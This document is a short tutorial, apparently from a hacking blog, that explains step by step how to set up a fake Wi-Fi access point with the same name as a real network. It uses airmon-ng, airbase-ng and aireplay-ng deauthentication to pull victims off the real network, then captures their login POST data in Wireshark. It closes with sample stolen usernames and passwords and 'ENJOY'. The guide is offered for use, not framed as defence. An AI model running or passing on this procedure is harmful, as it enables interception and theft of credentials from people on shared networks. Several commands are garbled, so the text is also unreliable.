Wi-Fi Packet Capturing & Session Hijacking

Introduction

The main Objective of this Attack is to make a Fake Access point and send the fake ARP Packets on same Wi-Fi Network from where the users are connected and the name of fake access point is same as the name of the wireless network reside there. So when a fake access point is created with same wireless network name then the user which is connected to original network gets disconnected and connects with your fake access point, so all the traffic tunnels throughout my system and we get all details/credentials/information of that user which is generally known as session hijacking.

Requirements 

1. Backtrack Operating System (BT5)

2. Virtual Machine (With USB Adapter) 

3. Internet Access on your System

 

 

1. Open Backtrack Operating System and start Terminal and type “iwconfig” for checking wireless interface.

2. Start this Wireless Interface by typing this command “airmon-ng start wlan0”.

It will enable your monitor mode (mon0).

 3. Start your monitor mode by typing this command “airodump-ng mon0”. It captures data from all stations.

                                             

4. Now Setup your Fake Router by typing this command “airbase-ng –e “faswal1234” mon0”

                                      

 5. Now its time to bridge all networks by typing these commands

“brctladdbrmitm”
“brctladdifmitm eth0”
“brctladdifmitm at0”

                                              

 6. Now Setting up New configurations by typing these commands.

“ifconfig eth0 0.0.0.0 up”
“ifconfig at0 0.0.0.0 up”

                                                 

                                     

7. Now it’s time to turn on MITM Interface by typing this command “ifconfig mitm up”

   8. Set up the channel ID which is shown above in airodump-ng command by typing these commands “iwconfig mon0 channel 4” or “iwconfig wlan0 channel 4”

 9. Now send the deauthentication packets to the router by typing this command “aireplay-ng –deauth 0 –a 00:24:97:b9:3a:90 mon0”

 10. Now it’s time to assigning the IP to all victims by typing this command “dhclient3 mitm&”

 11. Here you can see that one client is connected to our fake access point whose bssid is “D0:DF:9A:C0:FF:7B”

                                            

12. Start your Wireshark Sniffing Tool by typing this command “wireshark&”

13. Now Select the Interface (at0) and click on START.

 14. Type “http contains POST” and you can see that all packets be in your sniffing tool.

http://black.maniranjan.org/main_login.php

Username – john

Password – 1234

http://black.maniranjan.org/main_login.php

Username – john

Password – 1234

To Capture POST packets just type in search bar "http Contents posts"

THANK TOU GUYS................ENJOY......................